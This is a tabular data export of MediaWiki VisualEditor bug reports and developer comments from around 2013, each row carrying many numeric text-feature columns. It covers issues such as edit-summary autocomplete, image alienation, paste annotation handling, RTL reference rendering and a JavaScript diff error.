213740,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Rephrased bug summary. ""textbox"" doesn't exist. There is ""input"" and ""textarea"" both are ""form fields"".",,,1370829536,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2962962962962963,0.6666666666666666,"Rephrased bug summary. ""textbox"" doesn't exist. There is ""input"" and ""textarea"" both are ""form fields""."
213733,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(In reply to comment #3)
> Browser's autosuggestion/complete is the most used function during editing
> Wikipedia, especially when I do similar edits. Every time I test the VE is
> miss this function because the field is a textarea instead of an input field.
> It's really annoying to type every time the summary instead of selecting out of
> previous summaries.

Sure, but this functionality isn't possible for proper editable surfaces with rich text, links and other HTML items that these fields will allow.",,,1368992892,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8043478260869565,0.8043478260869565,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sure, but this functionality isn't possible for proper editable surfaces with rich text, links and other HTML items that these fields will allow."
213725,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Browser's autosuggestion/complete is the most used function during editing Wikipedia, especially when I do similar edits. Every time I test the VE is miss this function because the field is a textarea instead of an input field. It's really annoying to type every time the summary instead of selecting out of previous summaries.",,,1368991970,,PHID-USER-3uecblbxq24ycewm2cog,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,1,False,,,-7,,3.0,0.0,0.0,0.0,0.0,7.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,11.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,3.0,0.0,2.0,0.0,4.508196721311475,0.7540983606557377,"Browser's autosuggestion/complete is the most used function during editing Wikipedia, especially when I do similar edits. Every time I test the VE is miss this function because the field is a textarea instead of an input field. It's really annoying to type every time the summary instead of selecting out of previous summaries."
213716,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(In reply to comment #1)
> ...or implement our own autocomplete?

Possibly. Given that we are intending to replace this wikitext field with a full VE micro-surface (with the limited scope that log entries allow), that might be a bit fiddly, though. There's also not currently a useful API to query ""useful edit summaries"" from. Marking as a longer-term consideration.",,,1368979017,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,11.0,1.0,0.0,8.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,1.0,12.0,1.0,0.0,3.0,0.0,1.0,0.0,3.0,5.0,0.0,3.0,1.0,0.0,0.0,3.7466666666666666,0.7733333333333333,"(In reply to comment #1)
QUOTE

Possibly. Given that we are intending to replace this wikitext field with a full VE micro-surface (with the limited scope that log entries allow), that might be a bit fiddly, though. There's also not currently a useful API to query ""useful edit summaries"" from. Marking as a longer-term consideration."
213708,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",...or implement our own autocomplete?,,,1368903301,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,...or implement our own autocomplete?
50254,"VisualEditor: Alienation shield for images in table are not the right size, so images are still clickable","Images in a table are incompleted alienated and still clickable.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://de.wikipedia.org/wiki/Liste_der_Hochh%C3%A4user_in_Deutschland",Medium,50.0,1368003600,1369093449.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-x7lpmfetdbteus26qx4l,task_description,resolved,True,c1,1,False,False,True,-8,,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7567567567567566,0.5675675675675675,"Images in a table are incompleted alienated and still clickable.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
212558,"VisualEditor: Alienation shield for images in table are not the right size, so images are still clickable","(In reply to comment #0)
> Images in a table are incompleted alienated and still clickable.

This is fixed by the new image code which will be coming very soon (but is delayed to finish editing image properties). Marking as a dupe of that bug.

*** This bug has been marked as a duplicate of bug 37870 ***",,,1369093449,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-x7lpmfetdbteus26qx4l,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,18.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,6.0,8.0,0.0,2.0,11.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,0.0,0.0,0.0,3.225806451612903,0.7096774193548387,"(In reply to comment #0)
QUOTE

This is fixed by the new image code which will be coming very soon (but is delayed to finish editing image properties). Marking as a dupe of that bug.

*** This bug has been marked as a duplicate of bug 37870 ***"
50195,VisualEditor: Don't close/re-open annotation when pasting text into a comparable context,"Not sure whether this is ContentEditable, DataModel or LinearModel.

When pasting italicised text (from elsewhere on the same page) into an already italicised sentence we currently close, re-open, close, re-open that annotation.

Steps to reproduce problem:
* start with:
  <p><i>Original text here.</i></p><p><i>Something else there.</i></p>
* select ""else""
* copy
* select ""text""
* paste to replace
* end state:
  <p class=""ve-ce-branchNode""><i class=""ve-ce-TextStyleAnnotation ve-ce-TextStyleItalicAnnotation"">Original </i><i class=""ve-ce-TextStyleAnnotation ve-ce-TextStyleItalicAnnotation"">else</i><i class=""ve-ce-TextStyleAnnotation ve-ce-TextStyleItalicAnnotation""> here.</i></p>

Now this wouldn't be a major issue (merely inefficient) if it weren't for bug 48194 in Parsoid.

Real example:
* Intended edit: https://www.mediawiki.org/w/index.php?title=Watchlist_wishlist&diff=686477&oldid=686247
* Actual edit as seen in the Review and save dialog of VisualEditor (and saved as-is): https://www.mediawiki.org/w/index.php?title=Watchlist_wishlist&diff=686475&oldid=686247

--------------------------
**Version**: unspecified
**Severity**: critical",Medium,50.0,1367894520,1368554438.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-altic2tebpor7cfydf6y,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,8.666666666666666,1.0,0.0,0.0,0.3333333333333333,2.0,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.666666666666667,6.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,9.333333333333334,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,1.6666666666666667,9.666666666666666,1.0,1.3333333333333333,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,0.6666666666666666,6.0,9.666666666666666,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,4.238095238095238,0.6285714285714286,"Not sure whether this is ContentEditable, DataModel or LinearModel.

When pasting italicised text (from elsewhere on the same page) into an already italicised sentence we currently close, re-open, close, re-open that annotation.

Steps to reproduce problem:
* start with:
  <p><i>Original text here.</i></p><p><i>Something else there.</i></p>
* select ""else""
* copy
* select ""text""
* paste to replace
* end state:
  <p class=""ve-ce-branchNode""><i class=""ve-ce-TextStyleAnnotation ve-ce-TextStyleItalicAnnotation"">Original </i><i class=""ve-ce-TextStyleAnnotation ve-ce-TextStyleItalicAnnotation"">else</i><i class=""ve-ce-TextStyleAnnotation ve-ce-TextStyleItalicAnnotation""> here.</i></p>

Now this wouldn't be a major issue (merely inefficient) if it weren't for bug 48194 in Parsoid.

Real example:
* Intended edit: URL
* Actual edit as seen in the Review and save dialog of VisualEditor (and saved as-is): URL

--------------------------
**Version**: unspecified
**Severity**: critical"
209140,VisualEditor: Don't close/re-open annotation when pasting text into a comparable context,*** Bug 48489 has been marked as a duplicate of this bug. ***,,,1368726943,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-altic2tebpor7cfydf6y,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48489 has been marked as a duplicate of this bug. ***
209134,VisualEditor: Don't close/re-open annotation when pasting text into a comparable context,Confirmed on mediawiki.org,,,1368554438,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-altic2tebpor7cfydf6y,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,8.0,1.0,Confirmed on mediawiki.org
209127,VisualEditor: Don't close/re-open annotation when pasting text into a comparable context,"Timo, can you confirm this in master? I think it's been fixed by Ed's change to how annotations are compared…",,,1368228767,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-altic2tebpor7cfydf6y,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,12.0,8.0,4.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.96,"Timo, can you confirm this in master? I think it's been fixed by Ed's change to how annotations are compared…"
50185,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,"* Create an English article with a <ref> tag at the end of a paragraph
* Set $wgLanguageCode = 'en-rtl';
* View the article. You'll see something like ]My text[1 (this rendering seems wrong)
* Edit the article in VE. The non-contiguous reference causes problems:
** The phantom is rendered wrongly so it's not visible
** When you select the reference, the selection looks really strange

Should we wrap things in a <bidi> tag or whatever to ensure better rendering?

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1367879940,1369783170.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ix6ll4i6ezero6wug475,task_description,resolved,True,c1,1,False,False,True,-8,,0.0,0.5,0.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,1.5,0.0,4.0,4.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,1.5,1.0,0.0,1.5,0.5,0.0,0.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,8.5,1.0,1.0,8.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.5,4.0,2.0,1.0,1.0,0.0,3.5,0.0,1.5,2.5,0.0,0.0,1.0,0.0,2.5,3.625,0.7578125,"* Create an English article with a <ref> tag at the end of a paragraph
* Set $wgLanguageCode = 'en-rtl';
* View the article. You'll see something like ]My text[1 (this rendering seems wrong)
* Edit the article in VE. The non-contiguous reference causes problems:
** The phantom is rendered wrongly so it's not visible
** When you select the reference, the selection looks really strange

Should we wrap things in a <bidi> tag or whatever to ensure better rendering?

--------------------------
**Version**: unspecified
**Severity**: normal"
208597,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,Merged; closing.,,,1369783170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ix6ll4i6ezero6wug475,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Merged; closing.
208593,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,Assigning to Moriel then. :-),,,1367887908,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ix6ll4i6ezero6wug475,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.166666666666667,1.0,Assigning to Moriel then. :-)
208589,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,"And it was Roan who suggested, and Krinkle who participating in the attempt of helping me understand.. THANKS for that!",,,1367883167,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ix6ll4i6ezero6wug475,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,9.0,9.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,9.0,13.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,4.3478260869565215,0.9565217391304348,"And it was Roan who suggested, and Krinkle who participating in the attempt of helping me understand.. THANKS for that!"
208583,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,Related URL: https://gerrit.wikimedia.org/r/62540 (Gerrit Change I319285d23a4f0a0522cc793f1a6661cda31a1ebf),,,1367882987,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ix6ll4i6ezero6wug475,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I319285d23a4f0a0522cc793f1a6661cda31a1ebf)
208578,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,"This is a CSS fix in the Cite extension. https://gerrit.wikimedia.org/r/#/c/61634/

As Krinkle suggested, I'm fixing a small detail again (position 'top') but updating the Cite extension should fix this problem. I'll link the new correction to this bug and submit the fix shortly.",,,1367881902,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ix6ll4i6ezero6wug475,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,17.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,6.0,6.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.7222222222222223,0.7592592592592593,"This is a CSS fix in the Cite extension. URL

As Krinkle suggested, I'm fixing a small detail again (position 'top') but updating the Cite extension should fix this problem. I'll link the new correction to this bug and submit the fix shortly."
50181,VisualEditor: JS error on (null) diffing [[BMW 801]] but only if debug=false,"Make a null edit (space and backspace), then trigger a diff. JS error thrown in Firefox but not Chrome:

Error: toDomElements() failed to return an array when converting element of type alienBlock @ http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.wordbreak&skin=vector&version=20130506T190432Z&*:130

However, for debug=true, no such error occurs. Is this just going to be a transient RL issue?

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1367874000,1367972703.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bdvf6u5xglbisa5hqfhd,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,0.0,1.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,7.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,13.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,5.0,1.0,0.0,1.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,3.764705882352941,0.7411764705882353,"Make a null edit (space and backspace), then trigger a diff. JS error thrown in Firefox but not Chrome:

Error: toDomElements() failed to return an array when converting element of type alienBlock @ URL

However, for debug=true, no such error occurs. Is this just going to be a transient RL issue?

--------------------------
**Version**: unspecified
**Severity**: minor"
208237,VisualEditor: JS error on (null) diffing [[BMW 801]] but only if debug=false,*** Bug 48193 has been marked as a duplicate of this bug. ***,,,1368023940,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bdvf6u5xglbisa5hqfhd,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48193 has been marked as a duplicate of this bug. ***
208231,VisualEditor: JS error on (null) diffing [[BMW 801]] but only if debug=false,"This has been fixed for me in FF since yesterday evening. From chatting with Roan last night I think it was a deployment / ResourceLoader issue.

Resolving as fixed.",,,1367972703,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-bdvf6u5xglbisa5hqfhd,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,18.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,21.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,4.181818181818182,0.9090909090909091,"This has been fixed for me in FF since yesterday evening. From chatting with Roan last night I think it was a deployment / ResourceLoader issue.

Resolving as fixed."
208225,VisualEditor: JS error on (null) diffing [[BMW 801]] but only if debug=false,Happens in Chromium 26.0.1410.43 too.,,,1367874746,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-bdvf6u5xglbisa5hqfhd,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,Happens in Chromium 26.0.1410.43 too.
50172,VisualEditor: Throttle or otherwise handle large copy-paste input,"I watched a user using Chrome paste a 32400-character buffer of special characters into VE.  Chrome became unresponsive. 

This user then did that in multiple tabs and the entire computer became unresponsive.

--------------------------
**Version**: unspecified
